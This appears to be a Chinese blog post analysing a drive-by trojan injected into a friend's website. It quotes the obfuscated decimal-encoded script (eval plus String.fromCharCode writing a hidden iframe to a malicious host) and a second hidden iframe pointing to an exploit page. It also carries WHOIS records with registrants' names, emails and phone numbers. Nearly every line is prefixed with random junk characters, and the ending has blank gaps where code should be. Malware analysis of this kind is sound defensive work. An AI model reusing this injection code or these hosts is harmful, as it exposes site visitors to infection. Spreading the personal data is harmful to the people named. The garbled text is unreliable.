首发在我的博客里面，
73u97oe>1 4k{xo~+%, http://www.areway.cn/?p=175 2Gj)fMK38 >*B59+1P nRX'J5Q
m< 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
7N OF^/nU _?9|, <script>t=’60,105,102,114,97,109,101,
0j[%L!hny 32,115,114,99,61,104,116,116,112,58,47,47,
o]0\Km 102,114,101,101,46,117,45,117,117,117,46,99,
!:| D[1m 110,47,101,114,114,111,114,46,104,116,109,
'>UQsAvm 32,119,105,100,116,104,61,49,48,48,32,104,
RZI4N4o 101,105,103,104,116,61,48,62,60,47,105,102,
lLuAg ds` 114,97,109,101,62′;
9 icy&' t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
=bb )B( iR4!X() <script>t=’60,105,102,114,97,109,101,32,115,
WSV% Oy3V 114,99,61,104,116,116,112,58,47,47,102,114,
*iujJ i 101,101,46,117,45,117,117,117,46,99,110,47,
Su[f"2oR 101,114,114,111,114,46,104,116,109,32,119,
yv.(Oy 105,100,116,104,61,49,48,48,32,104,101,105,
|FZIUS{] 103,104,116,61,48,62,60,47,105,102,114,97,
F0+@FS0 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
c`!8 !R document.write(t);</script>
#jX%nqM xW ~@EBW3>~5 <html xmlns=”
\ dZD2e4 http://www.w3.org/1999/xhtml r!O4]j_3 “>
O.wk*m!9 <head>
W$?Bsz) <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
l|~SVk| <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
W8s/ " <title>首页 - 爱生活家庭网
2W=am_\0e. N^By#Z 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
^[-3qi 转换字符串后的大概内容是（谁点击后果自付）：
:X ~{,J <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Lw #vHNf6 <LOas$
查询玉米u-uuu.cn的详细信息：
hS:j$j e Domain Name: u-uuu.cn
Q~AK0W ROID: 20070901s10001s64972306-cn
rQD7ZN _ R Domain Status: ok
~:lN("9OI Registrant Organization: 王雷
{, b:f Registrant Name: 王雷
P
:D6w){ Administrative Email:
czlovexs@126.com B3i U# Sponsoring Registrar: 北京万网志成科技有限公司
00(#_($ Name Server:ns.yovole.com
<M oKTP-< Name Server:ns1.yovole.com
0` l(c Registration Date: 2007-09-01 17:54
z2.Z xL"* Expiration Date: 2008-09-01 17:54
Hze~oAP+ 最后PING了一下地址 都没有什么….
=f{YwtG q<*UeyE
S 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
S) [$F} <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
l:rT{l=8* <script language=”javascript” src=”
w0 N8a% http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ia}V8 i >
EkE U}2 这个玉米应该有可能是木马作者的：
_f5n
t:- foafau.info的详细信息：
B\} B
H Access to INFO WHOIS information is provided to assist persons in
.~Z@y # determining the contents of a domain name registration record in the
$S _VR Afilias registry database. The data in this record is provided by
fA>FU/ r Afilias Limited for informational purposes only, and Afilias does not
^%r>f@h!L guarantee its accuracy. This service is intended only for query-based
W6[# q%o access. You agree that you will use this data only for lawful purposes
dF/HKBJ and that, under no circumstances will you use this data to: (a) allow,
l&1R`g cW enable, or otherwise support the transmission by e-mail, telephone, or
N 3}jL l/ facsimile of mass unsolicited, commercial advertising or solicitations
C7 lBK<gQ to entities other than the data recipient’s own existing customers; or
El)WjcmH (b) enable high volume, automated, electronic processes that send
t&99ZdE queries or data to the systems of Registry Operator, a Registrar, or
8~")9w Afilias except as reasonably necessary to register domain names or
,>Lj>g{~ modify existing registrations. All rights reserved. Afilias reserves
K9(Su`zr the right to modify these terms at any time. By submitting this query,
Ei[>%Ah you agree to abide by this policy.
k^ Q > Domain ID:D22418703-LRMS
8hx 3pvmk Domain Name:FOAFAU.INFO
%+,7=Wt- Created On:20-Nov-2007 16:05:42 UTC
)+S^{tt Last Updated On:20-Nov-2007 16:05:44 UTC
~qxuD_ Expiration Date:20-Nov-2008 16:05:42 UTC
"dO>P*k, Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Hkck=@>8H* Status:CLIENT DELETE PROHIBITED
rFPfT pS Status:CLIENT RENEW PROHIBITED
\h }a?T6 Status:CLIENT TRANSFER PROHIBITED
2'6:fr=R Status:CLIENT UPDATE PROHIBITED
) HN,A z" Status:TRANSFER PROHIBITED
] oh.w Registrant ID:GODA-040110615
xfyUT^ Registrant Name:liu hong
?QXc,*=N Registrant Organization:
O~WT$ Registrant Street1:beijing
;=[ ~2*8 Registrant Street2:
&:" [hU Registrant Street3:
x YGB{g ] Registrant City:beijing
$ }D9)&f; Registrant State/Province:
yx t ` Registrant Postal Code:100000
CkJ\v%JAW Registrant Country:CN
c<gvUVHIxR Registrant Phone:+86.860108888777
_PR> <L_ Registrant Phone Ext.:
OAhCW*B Registrant FAX:
bq<DW/ Registrant FAX Ext.:
>x$.mXX{ Registrant Email:bbbshiji@163.com
f*}H4H E O Admin ID:GODA-240110615
jZ8#86/#{ Admin Name:liu hong
1 hQe uG Admin Organization:
tb@&!a$`? Admin Street1:beijing
.;&1"b8G Admin Street2:
psHW(Z8G Admin Street3:
oMj;9,WK' Admin City:beijing
JNYFu0 Admin State/Province:
5#SD$^ Admin Postal Code:100000
I2$.o0=3Y Admin Country:CN
e+t2F
|xDh Admin Phone:+86.860108888777
gVs8W3GW Admin Phone Ext.:
g}\ Yl. Admin FAX:
oL2 a:\7 Admin FAX Ext.:
'&.QW$B\B_ Admin Email:bbbshiji@163.com
ATb[/=hP<R Billing ID:GODA-340110615
lB0: 4cIj Billing Name:liu hong
UvtSNP&/2d Billing Organization:
9Xv >FVG! Billing Street1:beijing
8"\g?/ Billing Street2:
C/w!Y)nB= Billing Street3:
c88I"5@[bD Billing City:beijing
$O/@bh1@p Billing State/Province:
%;Dp~T`0 Billing Postal Code:100000
7Q(5Nlfcz Billing Country:CN
7Q>*] Billing Phone:+86.860108888777
)Bq~1M 2 Billing Phone Ext.:
smM*HDK Billing FAX:
Y^Olcz Billing FAX Ext.:
w/`I2uYu Billing Email:bbbshiji@163.com
-m.SN>V Tech ID:GODA-140110615
f;k'dqlv Tech Name:liu hong
> %~%O`+ Tech Organization:
*Hnk,?kPq Tech Street1:beijing
FYe(S V(9 Tech Street2:
\v'\
Ea~ Tech Street3:
Q]q`+ Z65 Tech City:beijing
+H7lkbW Tech State/Province:
_p~lL<q-K[ Tech Postal Code:100000
Q[+o\{ O Tech Country:CN
JD yP..Dt Tech Phone:+86.860108888777
R0n# FL^E Tech Phone Ext.:
)K4A-9p C Tech FAX:
2^}E!(< Tech FAX Ext.:
MMpGI^x!-X Tech Email:bbbshiji@163.com
4EO,9#0 Name Server:NS27.DOMAINCONTROL.COM
U2DE" Name Server:NS28.DOMAINCONTROL.COM
.5',w"R Name Server:
GJL lMi Name Server:
_IA@X. )? Name Server:
Ig hd,G- Name Server:
`(r [BV|h} Name Server:
gsqpQq7 Name Server:
yJ(p-3O5 Name Server:
M mjeFv Name Server:
d{UyiZm\ Name Server:
nH#|]gVI Name Server:
K &t+3O Name Server:
c({V[eGY JO4rU-
n 接着下载每个文件里面的代码：
w!0`JPu 一步一步看..
Q z+hS\yx 
E6{|zF/3' 
/mb ?C/ CI 
M>pcG.6V 
a)+;<GZ ~ 
zqaz1rt[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
